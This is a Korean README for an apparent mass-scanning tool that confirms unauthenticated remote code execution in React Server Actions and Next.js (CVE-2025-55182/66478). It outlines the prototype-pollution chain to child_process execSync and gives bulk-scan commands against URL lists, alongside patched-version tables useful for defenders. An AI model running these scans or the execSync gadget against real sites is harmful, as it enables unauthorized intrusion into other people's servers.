
CVE-2025-55182 / CVE-2025-66478용 비동기 RCE 스캐너 — prototype-pollution → React Server Actions를 통한 코드 실행.
React Server Actions를 통한 프로토타입 오염 → 원격 코드 실행
비동기, 버전 우선, 출력 기반 카나리 탐지 - 맹목적 추측 없음
[!WARNING] 승인된 보안 연구 및 침투 테스트 전용입니다. 명시적인 서면 허가 없이 시스템을 스캔하는 것은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
React Server Actions는 작업(action) 데이터를 multipart form data로 서버 측 실행 컨텍스트에 직접 전달합니다. 영향을 받는 react-server-dom-webpack 버전에서 프로토타입 오염 검증(sanitisation)이 불충분하기 때문에 공격자는 다음을 수행할 수 있습니다:
Object.prototype을 오염시키는 조작된 multipart 페이로드를 주입합니다_response._prefix를 덮어씁니다process.mainModule.require('child_process').execSync(cmd)
이로 인해 영향을 받는 React 버전에서 React Server Actions를 사용하는 모든 공개적으로 액세스 가능한 Next.js 애플리케이션에서 **인증 없는 원격 코드 실행(RCE)**이 가능해집니다.
CVE-2025-55182 - 광범위(Broad): React 19 패키지(react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack)에 영향
CVE-2025-66478 - 엄격(Strict): / Server Action 엔드포인트를 통한 Next.js 전용 공격 경로
이 스캐너는 출력 기반 카나리 검증을 사용합니다 - 오탐(false positive) 없이 실제 코드 실행을 확인하는 가장 신뢰할 수 있는 방법입니다:
1. POST / with Next-Action header + multipart prototype-pollution payload
2. Payload executes: echo <random_canary>
3. Vulnerable server throws NEXT_REDIRECT with base64(canary) in the URL
4. Response header: X-Action-Redirect: /login?a=<base64(canary)>
5. Scanner decodes base64 → matches canary → RCE confirmed ✓
allow_redirects=False가 중요합니다 - 확인 결과는 리디렉션 대상이 아닌 헤더에 있습니다.
git clone https://github.com/InferiorAK/React2Shell
cd React2Shell
pip install -r requirements.txt
# Required only if using --browser mode for improved version detection:
playwright install chromium
playwright install-deps chromium
요구 사항: Python 3.10+
# Single target
python3 CVE-2025-55182_scanner.py -u https://target.com
# Scan a list of URLs
python3 CVE-2025-55182_scanner.py -f urls.txt
# Quiet mode - only print RCE / Vulnerable results
python3 CVE-2025-55182_scanner.py -f urls.txt -q
# Browser mode - headless Chromium for accurate version detection
python3 CVE-2025-55182_scanner.py -f urls.txt -b
# Full options - recommended for large-scale scanning
python3 CVE-2025-55182_scanner.py -f urls.txt -b -q -c 3 -t 20
스캔된 각 대상에는 다음 판정 중 하나가 할당됩니다:
출력 파일(outputs/ 폴더에 저장되며 자동 생성됨):
outputs/vuln.txt — RCE 및 VULNERABLE 결과(실행할 때마다 추가됨)outputs/unknown.txt — 버전이 Unknown인 대상; 정확한 버전 탐지를 위해 -b로 재시도하세요왜 90% 이상의 사이트에서 버전이
unknown으로 표시될까요?
App Router 아키텍처를 사용하는 최신 Next.js 13+는 프레임워크 버전을 정적 HTML에 절대 포함하지 않습니다. 버전은 실제 브라우저 컨텍스트에서 JavaScript가 실행된 후에만 window.next.version에 존재합니다.
--browser 없이:
__NEXT_DATA__, 인라인 스크립트, 해시된 청크 파일에 의존합니다unknown을 반환합니다 - 버전 기반 필터링이 우회됩니다--browser(-b) 사용 시:
window.next.version을 직접 읽습니다# Recommended with browser mode - reduce concurrency (browser pages are resource-heavy)
python3 CVE-2025-55182_scanner.py -f urls.txt -b -c 3
스캐너는 최대 7단계를 실행하며 버전이 발견되는 즉시 중지됩니다:
Stage 1 │ HTTP Response Headers
│ X-Powered-By: Next.js X.Y.Z
│ x-nextjs-*, x-next-version
Stage 2 │ Inline <script> Blocks (per-block scan)
│ window.next = { version: "X.Y.Z", ... }
│ version:"X.Y.Z", router: ... ← minified bundle adjacent-key pattern
│ "nextVersion":"X.Y.Z"
│ Next.js vX.Y.Z ← plain text in meta / HTML comments
│ __NEXT_VERSION__ = "X.Y.Z"
Stage 3 │ __NEXT_DATA__ JSON Blob
│ Pages Router only - "version":"X.Y.Z" safe in this context
Stage 4 │ Hashed Chunk URLs (extracted from <script src>)
│ /_next/static/chunks/*, /_next/static/app/*, /_next/static/runtime/*
│ Fetches up to 12 real bundle files, scans for version strings
Stage 5 │ Fixed-name Fallback Chunks
│ main.js, framework.js, webpack.js, _app.js, pages/_app.js
Stage 6 │ /package.json endpoint
│ Dev mode / misconfigured servers expose this directly
Stage 7 │ Playwright Headless Browser [--browser / -b only]
│ Evaluates window.next.version after full JS execution
│ Only triggered when stages 1–6 return "unknown"
이 도구는 교육 및 승인된 보안 연구 목적으로만 게시되었습니다.
저자 InferiorAK는 오용으로 인한 어떠한 손해에도 책임을 지지 않습니다.
소유하지 않은 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오.
InferiorAK 제작
내 링크
| 구성 요소 | 취약 버전 | 패치 버전 |
|---|
React react-server-dom-* | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js 16.x | 16.0.0 – 16.0.6 | 16.0.7+ |
| Next.js 15.x | 15.0.0-15.0.4, 15.1.0-15.1.8, 15.2.0-15.2.5, 15.3.0-15.3.5, 15.4.0-15.4.7, 15.5.0-15.5.6 | 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+ |
| Next.js 14.x | 14.3.0-canary.77+ canary 빌드만 해당 | 모든 안정적인 14.x - 영향 없음 |
| Next.js 13.x | - | 영향 없음 |
| 플래그 | 긴 형식 | 기본값 | 설명 |
|---|
-u | --url | - | 단일 대상 URL |
-f | --file | - | 한 줄에 하나의 URL이 포함된 파일 |
-o | --output | outputs/vuln.txt | 취약한 대상에 대한 출력 파일 |
-U | --unknown-output | outputs/unknown.txt | 버전을 알 수 없는 대상에 대한 출력 파일 |
-c | --concurrency | 5 | 동시 HTTP 연결 수 |
-t | --timeout | 15 | 요청당 타임아웃(초) |
-q | --quiet | off | RCE / VULNERABLE 행만 출력 |
-b | --browser | off | Playwright 헤드리스 Chromium 버전 탐지 폴백 |
| 판정 | 색상 | 의미 |
|---|
RCE | 🔴 빨강 | X-Action-Redirect에서 카나리 확인됨 - 입증된 원격 코드 실행 |
VULNERABLE | 🟠 주황 | 버전이 취약 범위에 있음; RCE 페이로드가 반사되지 않음(WAF / 패치된 구성 / 잘못된 엔드포인트) |
Unknown | 🟡 노랑 | Next.js는 확인되었지만 버전을 감지할 수 없음 - 그래도 RCE 시도됨; 브라우저 모드 재시도를 위해 outputs/unknown.txt에 저장됨 |
Not Vulnerable | 🟢 초록 | 버전이 패치된 것으로 확인되었거나 RCE가 명시적으로 안전을 반환함 |
Skipped | ⚪ 흰색 | 패치 확인된 버전 또는 Next.js가 아닌 사이트 - PoC 시도 안 함 |
Error | ⚪ 흰색 | 호스트에 연결할 수 없거나 연결 실패 |